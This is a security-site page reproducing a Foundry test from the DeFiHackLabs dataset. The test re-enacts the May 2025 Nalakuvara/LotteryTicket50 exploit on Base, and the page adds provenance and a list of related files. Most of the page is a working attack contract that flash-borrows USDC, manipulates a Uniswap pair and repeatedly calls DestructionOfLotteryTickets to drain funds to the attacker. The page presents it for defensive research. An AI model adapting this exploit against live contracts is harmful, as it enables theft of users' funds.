Public reproduction file

src/test/2025-05/Nalakuvara_LotteryTicket50_exp.sol

Public reproduction file for dataset entry Nalakuvara_LotteryTicket50.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-05/Nalakuvara_LotteryTicket50_exp.sol101 lines

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3 
4import "forge-std/Test.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : 105470 USDC
8// Attacker : https://basescan.org/address/0x3026c464d3bd6ef0ced0d49e80f171b58176ce32
9// Attack Tx : https://basescan.org/tx/0x16a99aef4fab36c84ba4616668a03a5b37caa12e2fc48923dba4e711d2094699
10 
11// @Analysis
12// Root cause : https://x.com/TenArmorAlert/status/1921046572353417560
13// X(Twitter) Guy : https://x.com/TenArmorAlert/status/1920816516653617318
14 
15address constant UniswapV3Pool = 0xd0b53D9277642d899DF5C87A3966A349A798F224;
16address constant UniswapV2Pair = 0xaDcaaB077f636d74fd50FDa7f44ad41e20A21FEE;
17address constant usdc = 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913;
18address constant LotteryTicketSwap50 = 0x172119155a48DE766B126de95c2cb331D3A5c7C2;
19address constant LotteryTicket50 = 0xF9260Bb78d16286270e123642ca3DE1F2289783b;
20address constant Nalakuvara = 0xb39392F4b6D92a6BD560Ed260C2c488081aAB8E9;
21 
22contract Nalakuvara_LotteryTicket50_exp is Test {
23    address attacker = 0x3026C464d3Bd6Ef0CeD0D49e80f171b58176Ce32;
24 
25    function setUp() public {
26        vm.createSelectFork("base", 30_001_613 - 1); // Create contract block
27 
28        vm.deal(attacker, 1 ether);
29 
30        vm.label(attacker, "Attacker");
31        vm.label(UniswapV3Pool, "UniswapV3Pool");
32        vm.label(UniswapV2Pair, "UniswapV2Pair");
33        vm.label(usdc, "USDC");
34        vm.label(Nalakuvara, "Nalakuvara");
35        vm.label(LotteryTicketSwap50, "LotteryTicketSwap50");
36    }
37 
38    function testExploit() public {
39        emit log_named_decimal_uint("USDC before attack", IUSDC(usdc).balanceOf(attacker), 6);
40 
41        vm.prank(attacker);
42        AttackerC ac = new AttackerC{value: 0.2 ether}();
43        ac.attack();
44        vm.stopPrank();
45 
46        emit log_named_decimal_uint("USDC after attack", IUSDC(usdc).balanceOf(attacker), 6);
47    }
48}
49 
50contract AttackerC {
51    address attacker;
52 
53    constructor() payable {
54        attacker = msg.sender;
55    }
56 
57    function attack() public {
58        IUniswapV3Flash(UniswapV3Pool).flash(address(this), 0, 2_930_000_000_000, "");
59    }
60 
61    function uniswapV3FlashCallback(uint256 amount0, uint256 amount1, bytes calldata data) external {
62        IUSDC(usdc).transfer(UniswapV2Pair, 2_800_000_000_000);
63 
64        IUniswapV2Pair(UniswapV2Pair).swap(0, 71_500_000_000_000_000_000_000_000_000, address(this), "");
65 
66        IUSDC(usdc).approve(LotteryTicketSwap50, 10_000_999_990_000_000_000_000_000_000);
67 
68        ILotteryTicketSwap50(LotteryTicketSwap50).transferToken(130_000_000_000);
69 
70        IERC20(Nalakuvara).transfer(UniswapV2Pair, 71_500_000_000_000_000_000_000_000_000);
71 
72        IUniswapV2Pair(UniswapV2Pair).swap(2_908_000_000_000, 0, address(this), "");
73 
74        IERC20(LotteryTicket50).approve(LotteryTicketSwap50, 1_000_000_000_000_000_000_000_000_000);
75 
76        // uint256 i = 1;
77        // while (true) {
78        //     ILotteryTicketSwap50(LotteryTicketSwap50).DestructionOfLotteryTickets(20_000_000);
79        //     if (IUSDC(usdc).balanceOf(address(this)) > 2_931_750_000_000) break;
80        //     i++;
81        // }
82        // console.log("Number of iterations: ", i);
83 
84        for (uint256 i = 0; i < 130; i++) {
85            ILotteryTicketSwap50(LotteryTicketSwap50).DestructionOfLotteryTickets(20_000_000);
86        }
87 
88        IUSDC(usdc).transfer(UniswapV3Pool, 2_931_750_000_000); // Pay back flash loan
89 
90        uint256 profit = IUSDC(usdc).balanceOf(address(this));
91        // console.log(profit);
92        IUSDC(usdc).transfer(attacker, profit);
93    }
94 
95    receive() external payable {}
96}
97 
98interface ILotteryTicketSwap50 {
99    function transferToken(uint256 amount) external returns (bool);
100    function DestructionOfLotteryTickets(uint256 _amountTickets) external returns (bool);
101}

Analysis

Dataset entry

Public Foundry test for “Nalakuvara_LotteryTicket50” (2025-05-09). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

16 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/interface.solImported by this file · 6133 lines
src/test/2025-05/BetaPresale_exp.solSame month in the dataset · 212 lines
src/test/2025-05/bitallx_exp.solSame month in the dataset · 94 lines
src/test/2025-05/Corkprotocol_exp.solSame month in the dataset · 291 lines
src/test/2025-05/crosswise_exp.solSame month in the dataset · 178 lines
src/test/2025-05/DogeAlliance_exp.solSame month in the dataset · 173 lines
src/test/2025-05/Dumbo_exp.solSame month in the dataset · 214 lines
src/test/2025-05/IRYSAI_exp.solSame month in the dataset · 104 lines
src/test/2025-05/KRCToken_pair_exp.solSame month in the dataset · 120 lines
src/test/2025-05/MBUToken_exp.solSame month in the dataset · 73 lines
src/test/2025-05/RICE_exp.solSame month in the dataset · 142 lines
src/test/2025-05/unverified_0000_exp.solSame month in the dataset · 99 lines
src/test/2025-05/unverified_91a1_exp.solSame month in the dataset · 76 lines
src/test/2025-05/Unwarp_exp.solSame month in the dataset · 55 lines
src/test/2025-05/UsualMoney_exp.solSame month in the dataset · 227 lines
src/test/2025-05/YDTtoken_exp.solSame month in the dataset · 52 lines

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

Attacker
0x3026c464d3bd6ef0ced0d49e80f171b58176ce32

Attack Tx
0x16a99aef4fab36c84ba4616668a03a5b37caa12e2fc48923dba4e711d2094699

File record

Name: Nalakuvara_LotteryTicket50
Path: src/test/2025-05/Nalakuvara_LotteryTicket50_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: 92c8ea11ab57f3df4e943386b6ebeb570710a42f
Language: Solidity
Size: 102 lines
Date: 2025-05-09
Licence: file header UNLICENSED; repository Apache-2.0
Retrieved: 2026-10-19

Provenance

Path src/test/2025-05/Nalakuvara_LotteryTicket50_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 92c8ea11ab57f3df4e943386b6ebeb570710a42f, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.